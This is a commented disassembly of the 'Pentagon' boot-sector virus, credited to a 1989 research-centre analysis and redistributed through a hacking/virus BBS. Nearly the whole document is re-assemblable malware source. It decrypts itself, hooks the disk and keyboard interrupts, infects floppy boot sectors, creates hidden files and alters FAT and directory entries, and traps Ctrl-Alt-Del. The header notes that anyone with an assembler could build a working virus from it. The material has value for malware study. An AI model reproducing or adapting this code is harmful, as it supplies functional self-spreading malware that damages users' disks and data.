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PENTAGON.ASM
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Assembly Source File
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1992-05-21
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28KB
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989 lines
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
page 65,132
title The 'Pentagon' Virus
; ╔══════════════════════════════════════════════════════════════════════════╗
; ║ British Computer Virus Research Centre ║
; ║ 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England ║
; ║ Telephone: Domestic 0273-26105, International +44-273-26105 ║
; ║ ║
; ║ The 'Pentagon' Virus ║
; ║ Disassembled by Joe Hirst, March 1989 ║
; ║ ║
; ║ Copyright (c) Joe Hirst 1989. ║
; ║ ║
; ║ This listing is only to be made available to virus researchers ║
; ║ or software writers on a need-to-know basis. ║
; ╚══════════════════════════════════════════════════════════════════════════╝
; The disassembly has been tested by re-assembly using MASM 5.0.
; The code section between offsets 59H and C4H (which is normally
; encrypted) appears to have been separately assemblied using A86.
; Virus is possibly an honorary term, at least for this sample,
; as all attempts to run it have so far failed.
; This virus consists of a boot sector and two files.
; The boot sector is a normal PCDOS 3.20 boot sector with three
; changes:
; 1. The OEM name 'IBM' has been changed to 'HAL'.
; 2. The first part of the virus code overwrites 036H to 0C5H.
; 3. 100H-122H has been overwritten by a character string.
; The name of the first file is the hex character 0F9H. This file
; contains the rest of the virus code followed by the original boot
; sector.
; The name of the second file is PENTAGON.TXT. This file does not
; appear to be used in any way or contain any meaningful data.
; Both files are created without the aid of DOS, and the first
; file is accessed by its stored absolute location.
; Four different sections of the virus are separately encrypted:
; 1. 004AH - 004BH, key 0ABCDH - load decryption key
; 2. 0059H - 00C4H, key 0FCH - rest of virus code in boot sector.
; 3. 0791H - 07DFH, key 0AAH - the file name and copyright message.
; 4. 0800H - 09FFH, key 0FCH - the original boot sector.
SEG70 SEGMENT AT 70H
ASSUME CS:SEG70
EXIT:
SEG70 ENDS
BOOT SEGMENT AT 0
ORG 413H
BW0413 DW ?
ORG 417H
BB0417 DB ?
ORG 51CH
BW051C DW ?
ORG 7C0BH
DW7C0B DW ?
ORG 7C18H
DW7C18 DW ?
DW7C1A DW ?
ORG 7C2AH
DB7C2A DB ?
ORG 7C37H
DW7C37 DW ?
DW7C39 DW ?
DB7C3B DB ?
DB7C3C DB ?
DW7C3D DW ?
ORG 7DB7H
DB7DB7 DB ?
ORG 7DFDH
DB7DFD DB ?
ORG 7E00H
DW7E00 DW ? ; DW008F - Track and sector of rest of code
DW7E02 DW ? ; DW0091 - Head and drive of rest of code
DW7E04 DW ? ; DW0093 - Segment address of virus
BOOT ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE
IF1
ORG 206H
BP0095X LABEL NEAR
ENDIF
ORG 0
START: JMP BP0036
DB 'HAL 3.2'
DW 512 ; BPB001 - Bytes per sector
DB 2 ; BPB002 - Sectors per allocation unit
DW 1 ; BPB003 - Reserved sectors
DB 2 ; BPB004 - Number of FATs
DW 112 ; BPB005 - Number of root dir entries
DW 720 ; BPB006 - Number of sectors
DB 0FDH ; BPB007 - Media Descriptor
DW 2 ; BPB008 - Number of sectors per FAT
DW 9 ; BPB009 - Sectors per track
DW 2 ; BPB010 - Number of heads
DW 0 ; BPB011 - Number of hidden sectors (low order)
BPB012 DW 0 ; Number of hidden sectors (high order)
DB 10 DUP (0)
HEADNO DB 0
; Interrupt 30 (1EH) - Disk parameter table
DSKTAB DB 4 DUP (0), 0FH, 4 DUP (0)
DB 1, 0
BP0036: CLI
MOV AX,CS ; \ Set SS to CS
MOV SS,AX ; /
MOV SP,0F000H ; Set stack pointer
MOV DS,AX ; Set DS to CS
STI
MOV BP,OFFSET BP0044+7C00H
BP0044: XOR WORD PTR [BP+6],0ABCDH ; Decrypt key instruction
NOP
DW004A EQU THIS WORD
MOV DH,0FCH ; Decryption key
MOV BP,OFFSET BP0059+7C00H ; Decryption start address
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
BP0052: XOR [BP+00],DH ; Decrypt a byte
INC BP ; Next byte
LOOP BP0052 ; Repeat for all of it
NOP
BP0059: XOR DW004A+7C00H,0ABCDH ; Re-encrypt key instruction
MOV AX,BW0413 ; Get RAM size in K
SUB AX,0005 ; Subtract five K
MOV BW0413,AX ; Replace amended RAM size
MOV CL,06 ; Bits to move
SHL AX,CL ; Convert to segment address
MOV DW0093+7C00H,AX ; Save segment address
NOP
MOV ES,AX ; Set ES to this segment
XOR DI,DI ; Move to start
MOV SI,7C00H ; From start of boot sector buffer
MOV CX,0200H ; Move one sector
CLD
REPZ MOVSB ; Move sector to high-core
NOP
; Move next section of code to a safe area
MOV DI,200H+7C00H
MOV SI,OFFSET DW008F+7C00H
MOV CX,OFFSET DB00C5-DW008F ; Length to move
PUSH DS ; \ Set ES to DS
POP ES ; /
CLD
REPZ MOVSB ; Copy program section
JMP BP0095X ; This is BP0095 in new location
DW008F DW 0B02H ; Track and sector of rest of code
DW0091 DW 100H ; Head and drive of rest of code
DW0093 DW 9EC0H ; Segment address of virus
BP0095: MOV CX,0004 ; Number of retries
BP0098: PUSH CX
MOV CX,DW7E00 ; Get track and sector number
MOV DX,DW7E02 ; Get head and drive number
MOV ES,DW7E04 ; Get buffer segment address
MOV BX,0200H ; Buffer offset
MOV AX,0201H ; Read one sector
INT 13H ; Disk I/O
JNB BP00B8 ; Branch if no error
POP CX
XOR AH,AH ; Reset floppy disk sub-system
INT 13H ; Disk I/O
LOOP BP0098 ; Retry
INT 18H ; Drop into basic
BP00B8: POP CX
MOV AX,OFFSET DW7E04 ; Address segment address
CLI
MOV SP,AX ; Point SP at segment address
STI
MOV AX,0200H ; \ Address of second section
PUSH AX ; /
RETF
DB00C5 DB 50H
; The rest of this sector is a normal PCDOS 3.20 boot sector
; which has been overwritten at 100H-122H by a character string
DB 61H, 0
XOR AH,AH
INT 16H
POP SI
POP DS
POP [SI]
DW00D0 DW 0B06H ; Track and sector numbers
DW00D2 DW 0100H ; Head and drive numbers
DB 19H
MOV SI,OFFSET DB7DB7
JMP NEAR PTR DB00C5
MOV AX,BW051C
XOR DX,DX
DIV DW7C0B
INC AL
MOV DB7C3C,AL
MOV AX,DW7C37
MOV DW7C3D,AX
MOV BX,0700H
MOV AX,DW7C37
CALL BP0137
MOV AX,DW7C18
SUB AL,DB7C3B
INC AX
PUSH AX
DB '(c) 1987 The Pentagon, Zorell Group'
DB 7CH
JMP FAR PTR EXIT
BP0129: LODSB
OR AL,AL
JZ BP0150
MOV AH,0EH
MOV BX,7
INT 10H
JMP BP0129
BP0137: XOR DX,DX
DIV DW7C18
INC DL
MOV DB7C3B,DL
XOR DX,DX
DIV DW7C1A
MOV DB7C2A,DL
MOV DW7C39,AX
BP0150: RET
MOV AH,2
MOV DX,DW7C39
MOV CL,6
SHL DH,CL
OR DH,DB7C3B
MOV CX,DX
XCHG CH,CL
MOV DL,DB7DFD
MOV DH,DB7C2A
INT 13H
RET
DB 0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH
DB 'Replace and strike any key when ready', 0DH, 0AH, 0
DB 0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0
DB 'IBMBIO COMIBMDOS COM'
ORG 01FEH
DW 0AA55H
; Second sector of virus
BP0200: CLI
MOV SP,0F000H ; Reset stack pointer
STI
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
MOV BX,004CH ; INT 13H jump address
MOV BP,01A0H ; INT 68H jump address
CMP WORD PTR DS:[BP+0],0 ; Is INT 68H in use
JE BP0219 ; Branch if not
JMP BP024E
BP0219: MOV AX,[BX] ; Get INT 13H offset
MOV DS:[BP+0],AX ; Set INT 68H to this offset
MOV AX,[BX+2] ; Get INT 13H segment
MOV DS:[BP+2],AX ; Set INT 68H to this segment
MOV WORD PTR [BX],OFFSET BP04C4 ; Set address of INT 13H routine
MOV AX,CS ; \ Set INT 13H segment
MOV [BX+2],AX ; /
MOV BX,0024H ; INT 9 jump address
MOV BP,01A4H ; INT 69H jump address
MOV AX,[BX] ; Get INT 9 offset
MOV DS:[BP],AX ; Set INT 69H to this offset
MOV AX,[BX+2] ; Get INT 9 segment
MOV DS:[BP+2],AX ; Set INT 69H to this segment
MOV WORD PTR [BX],OFFSET BP0709 ; Set address of INT 9 routine
MOV AX,CS ; \ Set INT 9 segment
MOV [BX+02],AX ; /
JMP BP0254
BP024E: MOV BX,OFFSET BW0413 ; Address size of RAM
ADD WORD PTR [BX],5 ; Restore the 5K
BP0254: MOV BP,OFFSET DW008F ; Address virus pointer
MOV CX,CS:[BP] ; Get track and sector
MOV DX,CS:[BP+2] ; Get head and device
MOV BX,0200H ; Address second sector
MOV CX,3 ; Three sectors to read
BP0265: PUSH CX ; Save read count
MOV AX,0201H ; Read one sector
MOV CX,CS:[BP] ; Get track and sector
CALL BP0300 ; Address to next sector
MOV CS:[BP],CX ; Save new track and sector
ADD BX,0200H ; Address next buffer area
CALL BP031B ; Read from disk
JNB BP0280 ; Branch if no error
POP CX
INT 18H ; Drop into basic
; Read file, first sector
BP0280: POP CX ; Retrieve read count
LOOP BP0265 ; Repeat for other sectors
MOV BP,OFFSET DW00D0 ; Address file pointers
MOV CX,CS:[BP] ; Get track and sector
MOV DX,CS:[BP+2] ; Get head and drive
MOV BX,1000H ; Buffer address
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP029B ; Branch if no error
INT 18H ; Drop into basic
; Read file, second sector
BP029B: CALL BP0300 ; Address to next sector
ADD BX,0200H ; Update buffer address
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP02AC ; Branch if no error
INT 18H ; Drop into basic
BP02AC: LEA CX,DB07E0 ; Address end of encrypted
LEA BX,DB0791 ; Address start of encrypted
SUB CX,BX ; Length to decrypt
MOV AL,0AAH ; Load encryption key
PUSH CS ; \ Set DS to CS
POP DS ; /
CALL BP0315 ; Decrypt
MOV AX,CS ; \
MOV ES,AX ; ) Set ES & DS to CS
MOV DS,AX ; /
MOV DI,0100H ; Middle of 1st sector
MOV SI,OFFSET DB07BC ; Address copyright message
MOV CX,0023H ; Length of copyright message
REPZ MOVSB ; Copy copyright message
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV CX,0200H ; Length to decrypt
MOV BX,0800H ; Address boot sector store
MOV AL,0FCH ; Load encryption key
CALL BP0315 ; Decrypt
XOR AX,AX ; \ Segment zero
MOV ES,AX ; /
MOV DI,7C00H ; Boot sector buffer
MOV SI,0800H ; Address boot sector store
MOV CX,0200H ; Sector length
CLD
REPZ MOVSB ; Copy boot sector
DB 0EAH ; Far jump to boot sector
DW 7C00H, 0
DB 16 DUP (0)
; Address to next sector
BP0300: INC CL ; Increment sector number
CMP CL,0AH ; Is it sector ten?
JL BP0314 ; Branch if not
MOV CL,1 ; Set sector to one
INC DH ; Increment head
CMP DH,2 ; Is it head two?
JL BP0314 ; Branch if not
XOR DH,DH ; Set head to zero
INC CH ; Increment track
BP0314: RET
; Encrypt/decrypt
BP0315: XOR [BX],AL ; Encrypt a byte
INC BX ; Address next byte
LOOP BP0315 ; Repeat for count
RET
; Read from or write to disk
BP031B: PUSH SI
PUSH DI
MOV SI,AX ; Save function
MOV DI,CX ; Save track and sector
MOV CX,3 ; Number of retries
BP0324: PUSH CX
MOV AX,SI ; Retrieve function
MOV CX,DI ; Retrieve track and sector
INT 68H ; Disk I/O
JNB BP0338 ; Branch if no error
XOR AH,AH ; Reset sub-system
INT 68H ; Disk I/O
POP CX ; Retrieve number of retries
LOOP BP0324 ; Retry
STC
JMP BP033B
BP0338: POP CX ; Retrieve number of retries
MOV CX,DI ; Retrieve track and sector
BP033B: POP DI
POP SI
RET
; Find unused FAT entry pair
BP033E: PUSH AX
PUSH DX
PUSH ES
PUSH DI
PUSH CS
POP ES
MOV DX,CX ; Initial cluster number
XOR AL,AL ; Search for zero
BP0348: MOV CX,3 ; Three bytes to check
MOV DI,BX ; Address FAT entry pair
REPZ SCASB ; Scan for non-zero
CMP CX,0 ; Is FAT pair unused
JE BP0361 ; Branch if yes
ADD BX,3 ; Address next entry pair
ADD DX,2 ; Update entry count
CMP DX,0162H ; Entry 354?
JLE BP0348 ; Process entry pair if not
STC
BP0361: MOV CX,DX ; Cluster number found
POP DI
POP ES
POP DX
POP AX
RET
; Find and flag an unused entry
BP0368: TEST WORD PTR [BX],0FFFH ; Test first FAT entry
JZ BP0384 ; Branch if unused
INC CX ; Next entry number
INC BX ; Address 2nd entry
TEST WORD PTR [BX],0FFF0H ; Test second FAT entry
JZ BP038B ; Branch if unused
INC CX ; Next entry number
ADD BX,2 ; Address next entry pair
CMP CX,0163H ; Entry 355?
JLE BP0368 ; Process next FAT pair if not
STC
JMP BP0390
BP0384: OR WORD PTR [BX],0FFFH ; Flag 1st FAT entry EOF
JMP BP038F
BP038B: OR WORD PTR [BX],0FFF0H ; Flag 2nd FAT entry EOF
nop ; ** length adjustment, MASM 5.0
BP038F: CLC
BP0390: RET
; Unflag Brain virus bad clusters
BP0391: PUSH AX
PUSH BX
PUSH CX
PUSH DX
MOV DX,CX
BP0397: MOV AX,[BX] ; Get FAT entry
AND AX,0FFFH ; Isolate FAT entry
CMP AX,0FF7H ; Bad cluster?
JE BP03B8 ; Branch if yes
INC DX ; Add to cluster number
INC BX ; Address next entry
MOV AX,[BX] ; Get FAT entry
MOV CL,4 ; Bits to move
SHR AX,CL ; Move FAT entry
CMP AX,0FF7H ; Bad Cluster?
JE BP03C8 ; Branch if yes
INC DX ; Add to cluster number
ADD BX,2 ; Address next pair of entries
CMP DX,015FH ; Entry 351?
JLE BP0397 ; Process this pair if not
BP03B8: MOV WORD PTR [BX],0 ; \
MOV BYTE PTR [BX+2],0 ; ) Clear three entries
XOR WORD PTR [BX+3],0FF7H ; /
JMP BP03D5
BP03C8: XOR WORD PTR [BX],0FF7H ; \
MOV WORD PTR [BX+2],0 ; ) Clear three entries
MOV BYTE PTR [BX+4],0 ; /
BP03D5: POP DX
POP CX
POP BX
POP AX
RET
; Convert cluster number to track, head and sector
BP03DA: PUSH AX
PUSH BX
SUB CX,2 ; Subtract number of 1st cluster
ADD CX,CX ; Two sectors per cluster
ADD CX,0CH ; Add sector num of 1st cluster
MOV AX,CX ; Copy sector number
PUSH AX ; Save sector number
MOV BL,9 ; Nine sectors per track
DIV BL ; Divide by sectors per track
INC AH ; First sector is one
MOV CL,AH ; Move sector number
XOR AH,AH ; Clear top of register
MOV BL,2 ; Two heads
DIV BL ; Divide by heads
MOV DH,AH ; Move head number
POP AX ; Retrieve sector number
MOV BL,12H ; 18 sectors per track (both sides)
DIV BL ; Divide by sectors per track
MOV CH,AL ; Move track number
POP BX
POP AX
RET
; Update directory
BP0401: PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
MOV CX,000FH ; Fifteen entries per sector
XOR DI,DI ; Start of sector
CMP AX,7 ; Is this first dir sector
JNE BP0416 ; Branch if not
SUB CX,3 ; Subtract three from count
ADD DI,60H ; Address fourth entry
BP0416: CMP BYTE PTR CS:DB07E1,0FFH ; Is Brain switch on?
JNE BP0443 ; Branch if not
CMP BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label?
JNE BP0443 ; Branch if not
MOV BYTE PTR CS:DB07E2,0FFH ; Set directory update switch on
PUSH SI
PUSH DI
PUSH CX
ADD DI,BX ; Add sector address
LEA SI,DB07B1 ; Address label
MOV CX,000BH ; Length of new label
CLD
REPZ MOVSB ; Copy label
MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
POP CX
POP DI
POP SI
BP0443: CMP BYTE PTR ES:[BX+DI],0 ; Is entry unused?
JE BP0452 ; Branch if yes
ADD DI,20H ; Address next entry
LOOP BP0416 ; Process next entry
STC
JMP BP0487
BP0452: ADD DI,BX ; Add sector address
MOV BX,DI ; Move entry address
MOV BYTE PTR [BX],0F9H ; "Filename"
MOV BYTE PTR [BX+0BH],23H ; Read-only, hidden attributes
MOV CX,CS:DW0784 ; Get virus cluster number
MOV [BX+1AH],CX ; Store starting cluster
MOV WORD PTR [BX+1CH],0800H ; \ File size 2048
MOV WORD PTR [BX+1EH],0 ; /
ADD DI,20H ; Address next entry
MOV BX,DI ; Move entry address
LEA SI,DB0791 ; Address start of encrypted
MOV CX,0020H ; One complete entry to move
CLD
REPZ MOVSB ; Move entry
MOV CX,CS:DW0786 ; Get file cluster number
MOV [BX+1AH],CX ; Store starting cluster
CLC
BP0487: POP DI
POP SI
POP DX
POP CX
POP BX
RET
; Read actual boot sector - Brain infected
BP048D: PUSH AX
PUSH CX
PUSH DX
MOV CX,[BX+7] ; Get track and sector
MOV DH,[BX+6] ; Get head number
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
POP DX
POP CX
POP AX
RET
; Generate a sound
BP04A0: MOV BP,1 ; One loop
MOV AL,0B6H ; Counter two, both bytes, sq wave
OUT 43H,AL ; Set PIT control register
MOV AX,0533H ; Sound frequency
OUT 42H,AL ; Send first byte
MOV AL,AH ; Get second byte
OUT 42H,AL ; Send second byte
IN AL,61H ; Get port B
MOV AH,AL ; Save port B value
OR AL,3 ; Set sound bits on
OUT 61H,AL ; Send port B
SUB CX,CX ; Maximum loop count
BP04BA: LOOP BP04BA ; Delay
DEC BP ; Decrement count of loops
JNZ BP04BA ; Branch if not zero (it won't be)
MOV AL,AH ; Recover original port B
OUT 61H,AL ; Send port B
RET
; Int 13H routine
BP04C4: STI
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH SI
PUSH ES
PUSH DI
MOV CS:DB0790,DL ; Save device
CMP AH,2 ; Is function a read?
JE BP04DA ; Branch if yes
JMP BP06FC ; Pass on to BIOS
BP04DA: DEC CS:DB07E0 ; Decrement count
JZ BP04E4 ; Infect when zero
JMP BP06FC ; Pass on to BIOS
; Get boot sector
BP04E4: MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
PUSH CS ; \
POP AX ; \ Set DS & ES to CS
MOV DS,AX ; /
MOV ES,AX ; /
MOV BX,0800H ; Address boot sector store
MOV CX,1 ; Track zero, sector one
MOV DH,0 ; Head zero
MOV DL,CS:DB0790 ; Load device
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP0508 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Check for Brain virus
BP0508: CMP WORD PTR [BX+4],1234H ; Is it a Brain boot sector?
JNE BP051D ; Branch if not
MOV BYTE PTR CS:DB07E1,0FFH ; Set Brain switch on
CALL BP048D ; Read actual boot sector
JNB BP052D ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Check for Pentagon virus
BP051D: MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
CMP WORD PTR [BX+4AH],577BH ; Is it infected by pentagon?
JNE BP052D ; Branch if not
JMP BP06FC ; Pass on to BIOS
; Check for DOS boot sector
BP052D: CMP WORD PTR [BX+01FEH],0AA55H ; Is it a valid boot sector
JE BP0538 ; Branch if yes
JMP BP06FC ; Pass on to BIOS
; Get first FAT sector
BP0538: ADD BX,0200H ; Update buffer address
INC CL ; Next sector
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP0549 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Check media byte
BP0549: CMP BYTE PTR [BX],0FDH ; Is it 360K disk
JE BP0551 ; Branch if yes
JMP BP06FC ; Pass on to BIOS
; Get second sector of FAT
BP0551: ADD BX,0200H ; Update buffer address
INC CL ; Next sector
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP0562 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP0562: CMP BYTE PTR CS:DB07E1,0FFH ; Test Brain switch
JNE BP0573 ; Branch if off
MOV BX,0A03H ; Address first cluster in FAT
MOV CX,2 ; First cluster is number two
CALL BP0391 ; Unflag Brain virus bad clusters
BP0573: MOV BX,0A96H ; \ Start from cluster 100
MOV CX,0064H ; /
CALL BP033E ; Find unused FAT entry pair
JNB BP0581 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP0581: MOV CS:DW0784,CX ; Save virus cluster number
INC CX ; Next cluster number
MOV [BX],CX ; Put it in first FAT entry
OR WORD PTR [BX+01],0FFF0H ; Flag 2nd entry as EOF
nop ; ** length adjustment, MASM 5.0
DEC CX ; Set cluster number back
CALL BP03DA ; Cluster num to trck/hd/sect
MOV CS:DW0788,CX ; Save virus track & sector
MOV CS:DW078A,DX ; Save virus head and drive
PUSH BP
MOV BP,OFFSET DW008F ; Address virus pointer
MOV CS:[BP+00],CX ; Save virus track & sector
MOV CS:[BP+03],DH ; Save virus head
POP BP
MOV BX,0A96H ; \ Start from cluster 100
MOV CX,0064H ; /
CALL BP0368 ; Find an unused FAT entry
JNB BP05B7 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP05B7: MOV CS:DW0786,CX ; Save file cluster number
CALL BP03DA ; Cluster num to trck/hd/sect
MOV CS:DW078C,CX ; Save file track & sector
MOV CS:DW078E,DX ; Save file head and drive
PUSH BP
MOV BP,OFFSET DW00D0 ; Address file pointers
MOV CS:[BP],CX ; Save track and sector
MOV CS:[BP+3],DH ; Save head
POP BP
MOV AL,0FCH ; Load encryption key
MOV BX,0800H ; Address boot sector store
MOV CX,0200H ; Length to encrypt
CALL BP0315 ; Encrypt/decrypt
MOV BYTE PTR CS:DB07E0,20H ; Set count to 32
LEA CX,DB07E0 ; Address end of encrypted
LEA BX,DB0791 ; Address start of encrypted
SUB CX,BX ; Length to encrypt
MOV AL,0AAH ; Load encryption key
CALL BP0315 ; Encrypt/decrypt
MOV BX,0200H ; Virus second sector
MOV AX,0301H ; Write one sector
MOV CX,CS:DW0788 ; Get virus track & sector
MOV DX,CS:DW078A ; Get virus head and drive
MOV DL,CS:DB0790 ; Load device
CALL BP031B ; Write to disk
JNB BP0613 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP0613: MOV AX,3 ; Three sectors to write
BP0616: PUSH AX ; Save write count
ADD BX,0200H ; Next sector buffer
MOV AX,0301H ; Write one sector
CALL BP0300 ; Address to next sector
CALL BP031B ; Write to disk
JB BP062D ; Branch if error
POP AX ; Retrieve write count
DEC AX ; Decrement count
JNZ BP0616 ; Repeat for each sector
JMP BP0631
BP062D: POP AX
JMP BP06FC ; Pass on to BIOS
; Write file
BP0631: LEA CX,DB07E0 ; Address end of encrypted
LEA BX,DB0791 ; Address start of encrypted
SUB CX,BX ; Length to encrypt
MOV AL,0AAH ; Load encryption key
CALL BP0315 ; Encrypt/decrypt
MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
MOV CX,CS:DW078C ; Get file track & sector
MOV DX,CS:DW078E ; Get file head and drive
MOV DL,CS:DB0790 ; Load device
MOV BX,1000H ; Address file buffer
MOV AX,2 ; Two sectors to write
BP065B: PUSH AX ; Save write count
MOV AX,0301H ; Write one sector
CALL BP031B ; Write to disk
JB BP062D ; Branch if error
CALL BP0300 ; Address to next sector
ADD BX,0200H ; Address next sector buffer
POP AX ; Retrieve write count
DEC AX ; Decrement write count
JNZ BP065B ; Write each sector
MOV BX,OFFSET BP0059 ; Start of encrypted
MOV CX,OFFSET DB00C5-BP0059 ; Length to encrypt
MOV AL,0FCH ; Load encryption key
CALL BP0315 ; Encrypt
XOR BX,BX ; Address start of virus
MOV AX,0301H ; Write one sector
MOV CX,1 ; Track zero, sector 1
XOR DH,DH ; Head zero
CALL BP031B ; Write to disk
JNB BP068C ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Write 1st FAT sector
BP068C: MOV BX,OFFSET BP0059
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
MOV AL,0FCH ; Load encryption key
CALL BP0315 ; Decrypt
MOV BX,0A00H ; Address 1st FAT sector
MOV AX,0301H ; Write one sector
MOV CX,2 ; Track zero, sector 2
CALL BP031B ; Write to disk
JNB BP06A8 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Write 2nd FAT sector
BP06A8: ADD BX,0200H ; Address 2nd FAT sector
MOV AX,0301H ; Write one sector
INC CX ; Next sector
CALL BP031B ; Write to disk
JNB BP06B8 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Create directory entries
BP06B8: MOV BX,0E00H ; Address directory
MOV CX,5 ; Track zero, sector 5
XOR DH,DH ; Head zero
MOV AX,7 ; Seven sectors to read
BP06C3: PUSH AX ; Save read count
MOV AX,0201H ; Read one sector
CALL BP0300 ; Address to next sector
CALL BP031B ; Read from disk
JB BP06F1 ; Branch if error
POP AX ; \ Retrieve and save read count
PUSH AX ; /
MOV BYTE PTR CS:DB07E2,0 ; Set directory update switch off
CALL BP0401 ; Update directory
JNB BP06F5 ; Branch if entry found
CMP BYTE PTR CS:DB07E2,0FFH ; Test directory update switch
JNE BP06EA ; Branch if off
MOV AX,0301H ; Write one sector
CALL BP031B ; Write to disk
BP06EA: POP AX ; Retrieve sector count
DEC AX ; Decrement sector count
JNZ BP06C3 ; Repeat for each sector
JMP BP06FC ; Pass on to BIOS
BP06F1: POP AX
JMP BP06FC ; Pass on to BIOS
BP06F5: POP AX
MOV AX,0301H ; Write one sector
CALL BP031B ; Write to disk
BP06FC: POP DI
POP ES
POP SI
POP DS
POP DX
POP CX
POP BX
POP AX
INT 68H ; Disk I/O
RETF 2
; Int 9 routine
BP0709: PUSH AX
PUSH BX
PUSH DS
MOV BYTE PTR CS:DB07E3,0 ; Set off reboot switch
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
IN AL,60H ; Get keyboard token
MOV BX,OFFSET BB0417 ; Address Key states
TEST BYTE PTR [BX],8 ; Alt key depressed?
JZ BP0736 ; Branch if not
TEST BYTE PTR [BX],4 ; Ctrl key depressed?
JZ BP0736 ; Branch if not
CMP AL,53H ; Del character token?
JNE BP0736 ; Branch if not
XOR BYTE PTR [BX],0CH ; Set off Alt & Ctrl states
XOR AL,AL ; \ ?
OUT 60H,AL ; /
MOV BYTE PTR CS:DB07E3,0FFH ; Set on reboot switch
BP0736: POP DS
POP BX
POP AX
INT 69H ; Keyboard I/O
PUSHF
CMP BYTE PTR CS:DB07E3,0FFH ; Test reboot switch
JNE BP0765 ; Branch if off
POPF
MOV AX,3 ; Set mode three
INT 10H ; VDU I/O
CLI
MOV AL,0AH ; Repeat delay 10 times
XOR CX,CX ; Maximum loop
BP074F: LOOP BP074F ; Delay
DEC AL ; Decrement delay count
JNZ BP074F ; Repeat delay for count
CALL BP04A0 ; Generate a sound
XOR CX,CX ; Maximum loop
BP075A: LOOP BP075A ; Delay
MOV BYTE PTR CS:DB07E0,5 ; Set count to 5
STI
INT 19H ; Disk bootstrap
BP0765: POPF
RETF 2
DB 27 DUP (0)
DW0784 DW 0064H ; Cluster number of virus
DW0786 DW 0066H ; Cluster number of file
DW0788 DW 0B02H ; Virus track & sector
DW078A DW 0101H ; Virus head and drive
DW078C DW 0B06H ; File track and sector
DW078E DW 0101H ; File head and drive
DB0790 DB 1 ; Device number
DB0791 DB 'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0
DB07B1 DB 'Pentagon,ZG'
DB07BC DB '(c) 1987 The Pentagon, Zorell Group$'
DB07E0 DB 20H ; Infection count
DB07E1 DB 0FFH ; Infected by Brain switch
DB07E2 DB 0 ; Directory update switch
DB07E3 DB 0 ; Reboot switch
DB ' first sector in segment', 0DH, 0AH, 9, 6DH
CODE ENDS
END START
